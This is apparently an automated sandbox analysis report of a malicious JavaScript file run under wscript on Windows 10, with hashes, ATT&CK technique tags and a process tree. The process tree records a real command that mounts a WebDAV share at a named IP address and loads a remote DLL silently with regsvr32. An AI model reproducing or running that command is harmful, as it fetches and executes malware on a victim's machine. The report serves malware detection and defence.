3ca663cc179c17b4ff59af9b0ccee22e20ea453afd6fce7092bc1ce76b0d4811

Analysis

max time kernel
140s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 01:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

19151144212990113885.js
Size

4KB
MD5

fc06ccf665b1f0fe93c7098ade172ef1
SHA1

eab0156759822b3fdcf654ad451837bfb288cf61
SHA256

b00cdfe9031f11ee1b4ab7dbf34330e3017d57ee9f1f5e7c7f56bdf24ffd6a90
SHA512

ec214cdf5a518b7037092410d88ff7e65a344ef318bea13d93120313ac48e2f8cf7abb52bda399c020c38b06c1d34d6c0416b3b9ad4aa0645f12da47520b2652
SSDEEP

96:S2BH7Rawye3WSkMdwBtwCaCaCayw4AkoBtwCaCaCayw4HXCcs3xD:SgbRNye3WSkMdatzw4AkStzw4HMxD

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 700	1328	wscript.exe	84
PID 1328 wrote to memory of 700	1328	wscript.exe	84
PID 700 wrote to memory of 1068	700	cmd.exe	86
PID 700 wrote to memory of 1068	700	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\19151144212990113885.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\168271403426364.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads